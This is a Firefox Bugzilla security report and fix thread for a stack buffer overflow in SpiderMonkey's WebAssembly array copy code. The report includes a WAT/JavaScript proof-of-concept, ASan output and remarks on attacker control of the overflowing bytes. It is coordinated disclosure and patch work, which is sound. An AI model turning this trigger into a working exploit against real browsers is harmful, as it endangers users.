Stack buffer overflow in StableWasmArrayObjectElements inline array copy
Categories
(Core :: JavaScript: WebAssembly, defect, P1)
Tracking
()
People
(Reporter: disclosure, Assigned: yury)
References
(Regression)
Details
(4 keywords, Whiteboard: [client-bounty-form][bugmon:bisected,confirmed][adv-main145+][adv-ESR140.5+])
Attachments
(7 files)
|
1.97 KB,
application/x-javascript
|
Details | |
|
897 bytes,
application/x-javascript
|
Details | |
|
48 bytes,
text/x-phabricator-request
|
tjr
:
sec-approval+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
Details | Review | |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-beta+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-esr140+
|
Details | Review |
|
68 bytes,
text/plain
|
Details |
Hello team,
there is a possible memory corruption in js/src/wasm/WasmGcObject.h line 532 that allows WebAssembly content to trigger stack buffer overflows.
Vulnerability Details
Location: StableWasmArrayObjectElements<T> constructor (WasmGcObject.h:523-539)
The bug occurs when copying inline wasm array data. The std::copy call uses uint8_t* pointers for the source range but computes the endpoint in bytes while iterating as T*:
// WasmGcObject.h:532-534
std::copy(array->inlineStorage(), // uint8_t* source
array->inlineStorage() + array->numElements_ * sizeof(T), // byte arithmetic
ownElements_->begin()); // T* destination
This causes two bugs:
- Buffer overflow:
std::copytreats both pointers asT*, writingnumElements_ * sizeof(T)elements instead ofnumElements_elements—overflowing by a factor ofsizeof(T).
Demonstrated bypoc-crash-asan.js.
let wat = `(module
(type $arr (array (mut i16)))
(func $fromCharCodeArray
(import "wasm:js-string" "fromCharCodeArray")
(param (ref null $arr) i32 i32)
(result (ref extern)))
(func (export "test") (result externref)
;; 50 elements → bug writes 100 uint16_t (exceeds ~49-capacity Vector)
(call $fromCharCodeArray
(array.new $arr (i32.const 0x41) (i32.const 50))
(i32.const 0)
(i32.const 50)))
)`;
let bytes = wasmTextToBinary(wat);
let mod = new WebAssembly.Module(bytes, {builtins: ['js-string']});
let inst = new WebAssembly.Instance(mod, {}).exports;
// Force NoGC string allocation to fail → triggers fallback with buggy copy
oomTest(
() => {
inst.test()
},
);
From ASAN:
=================================================================
==824196==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcde4e1e5f at pc 0x5626ec6e9661 bp 0x7ffcde4e1c60 sp 0x7ffcde4e1c58
WRITE of size 16 at 0x7ffcde4e1e5f thread T0
#0 0x5626ec6e9660 in unsigned short* std::__copy_move<false, false, std::random_access_iterator_tag>::__copy_m<unsigned char*, unsigned short*>(unsigned char*, unsigned char*, unsigned short*)
.mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_algobase.h:380:18
#1 0x5626ec6e9660 in unsigned short* std::__copy_move_a2<false, unsigned char*, unsigned short*>(unsigned char*, unsigned char*, unsigned short*) .mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/
x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_algobase.h:471:14
#2 0x5626ec6e9660 in unsigned short* std::__copy_move_a1<false, unsigned char*, unsigned short*>(unsigned char*, unsigned char*, unsigned short*) .mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/
x86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_algobase.h:506:14
#3 0x5626ec6e9660 in unsigned short* std::__copy_move_a<false, unsigned char*, unsigned short*>(unsigned char*, unsigned char*, unsigned short*) .mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x
86_64-linux-gnu/10/../../../../include/c++/10/bits/stl_algobase.h:514:3
#4 0x5626ec6e9660 in unsigned short* std::copy<unsigned char*, unsigned short*>(unsigned char*, unsigned char*, unsigned short*) .mozbuild/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/
10/../../../../include/c++/10/bits/stl_algobase.h:568:14
#5 0x5626ec6e9660 in js::StableWasmArrayObjectElements<unsigned short>::StableWasmArrayObjectElements(JSContext*, JS::Handle<js::WasmArrayObject*>) /firefox/js/src/wasm/WasmG
cObject.h:532:7
#6 0x5626ec5ca5c2 in js::wasm::Instance::stringFromCharCodeArray(js::wasm::Instance*, void*, unsigned int, unsigned int) /firefox/js/src/wasm/WasmInstance.cpp:2051:45
#7 0x7f2aee880d62 (<unknown module>)
Address 0x7ffcde4e1e5f is located in stack of thread T0 at offset 351 in frame
#0 0x5626ec5ca1ef in js::wasm::Instance::stringFromCharCodeArray(js::wasm::Instance*, void*, unsigned int, unsigned int) /firefox/js/src/wasm/WasmInstance.cpp:2026
This frame has 3 object(s):
[32, 64) 'arrayRef' (line 2030)
[96, 120) 'array' (line 2035)
[160, 344) 'stableElements' (line 2051) <== Memory access at offset 351 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /firefox/js/src/wasm/WasmGcObject.h:532:7 in js::StableWasmArrayObjectElements<unsigned short>::StableWasmArrayObjectElements(JSC
ontext*, JS::Handle<js::WasmArrayObject*>)
- Wrong data source:
inlineStorage()points to theDataHeader, not the actual array elements ataddressOfInlineData().
// If used, the inline storage area will begin with the data header, followed
// by the actual array data.
Demonstrated by poc-wrong-data.js
The bug is reachable via Instance::stringFromCharCodeArray (WasmInstance.cpp:2051) whenever the initial NoGC allocation fails, which occurs during GC pressure or can be forced via oomTest().
Impact (attacker control)
- The overflow writes ~102 bytes past a
Vector<uint16_t>inline buffer. After the first 8 zero bytes (DataHeader), all subsequent bytes are attacker-controlled wasm array data. This enables corruption of adjacent stack data.
Reference to Existing Test
Bug 1956768 added a regression test (js/src/jit-test/tests/wasm/regress/bug1956768.js) that exercises this exact code path with oomTest(). However, the test doesn't detect the vulnerability because:
oomTest()verifies output only on successful runs (often the fast path)- Without ASan, the overflow into the
Vector's inline capacity is silent - The test only checks 4 chars, missing corruption beyond that range
Affected Versions
Introduced in Bug 1956768. All builds with Wasm GC+stringref enabled are vulnerable.
Testing environment
OS: Linux x64
Version: JavaScript-C145.0a1
Best regards,
Igor Morgenstern,
Aisle Research
| Reporter | ||
Comment 1•10 months ago
|
||
Updated•10 months ago
|
Updated•10 months ago
|
Updated•10 months ago
|
Comment 2•10 months ago
|
||
Preliminarily setting flags based off the report description. It looks correct to me, but I'm pointing Yury at this one.
| Assignee | ||
Comment 4•10 months ago
|
||
| Assignee | ||
Comment 5•10 months ago
|
||
Updated•10 months ago
|
Updated•10 months ago
|
Comment 6•10 months ago
|
||
Comment on attachment 9517859 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: I'm guessing somewhat easily. The only change is around std::copy and it probably isn't hard to figure out we're overflowing the stack based vector in certain circumstances, which probably could lead to overwriting the native frame. The hardest part is that this only happens when a GC happens precisely during this instruction. I don't know how easy it is to reliably trigger a GC here. It might be as easy as just running the operation in a tight loop until nursery space is exhausted?
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: Beta, release, ESR 140. Status flags are correct from regressing bug.
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: Yes
- If not, how different, hard to create, and risky will they be?:
- How likely is this patch to cause regressions; how much testing does it need?: Unlikely, this code is not run frequently in practice, and we have tests for it.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
Comment 7•10 months ago
|
||
It's possible we could try to obfuscate this patch or merge it with some other work. There wasn't an obvious way to do it right away, but we could try harder if that would be useful.
Updated•10 months ago
|
Comment 8•9 months ago
|
||
This work could pretty easily be merged with one of the patches in bug 1992888 for obfuscation purposes.
Comment 9•9 months ago
|
||
To expand on my last comment: patch D267984 from bug 1992888 is a refactor of various array things that could easily be expanded to include the work Yury has done for this bug. It was done to improve performance, which turned out to be a wash, but it touches a lot of array code in non-trivial ways and could provide good cover for this issue if desired.
We plan to land that patch for refactoring reasons regardless. The current version of the patch does NOT fix this bug.
Comment 10•9 months ago
|
||
Set release status flags based on info from the regressing bug 1956768
Comment 11•9 months ago
|
||
Comment on attachment 9517859 [details]
(secure)
Approved to land and request uplift
Comment 12•9 months ago
|
||
Verified bug as reproducible on mozilla-central 20251014213342-69063d81c4e1.
Unable to bisect testcase (Testcase reproduces on start build!):
Start: 2824c2cd78b0f41206d46f43c94119f295283318 (20250718092930)
End: df41db50de28e4018e35b63498b0e101fc4837bc (20251002092724)
BuildFlags: BuildFlags(asan=False, tsan=False, debug=True, fuzzing=True, coverage=False, valgrind=False, no_opt=False, fuzzilli=False, nyx=False, searchfox=False, afl=False)
Comment 13•9 months ago
|
||
Comment 14•9 months ago
|
||
Comment 15•9 months ago
|
||
The patch landed in nightly and beta is affected.
:yury, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox145towontfix.
For more information, please visit BugBot documentation.
Comment 16•9 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined: Some Wasm code can cause stack data corruption.
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: This code is not run frequently in practice.
- String changes made/needed: n/a
- Is Android affected?: yes
| Assignee | ||
Comment 17•9 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D267284
Comment 18•9 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined: Some wasm code can cause stack corruption
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: this code is not run frequently in practice
- String changes made/needed: n/a
- Is Android affected?: yes
| Assignee | ||
Comment 19•9 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D267284
Comment 20•9 months ago
|
||
Verified bug as fixed on rev mozilla-central 20251016041331-f762218826f8.
Removing bugmon keyword as no further action possible. Please review the bug and re-add the keyword for further analysis.
Updated•9 months ago
|
Comment 21•9 months ago
|
||
Yuri, your patch does not apply cleanly to the esr140 branch, could you rebase/adapt your patch please? Thanks
| Assignee | ||
Comment 22•9 months ago
|
||
(In reply to Pascal Chevrel:pascalc from comment #21)
Yuri, your patch does not apply cleanly to the esr140 branch, could you rebase/adapt your patch please? Thanks
Revision https://phabricator.services.mozilla.com/D268882 is updated.
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Comment 23•9 months ago
|
||
| uplift | ||
Comment 24•9 months ago
|
||
| uplift | ||
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Updated•9 months ago
|
Comment 25•9 months ago
|
||
Updated•8 months ago
|
Updated•2 months ago
|
Updated•1 month ago
|
Comment 28•1 month ago
|
||
Comment 29•1 month ago
|
||
| bugherder | ||
Description
•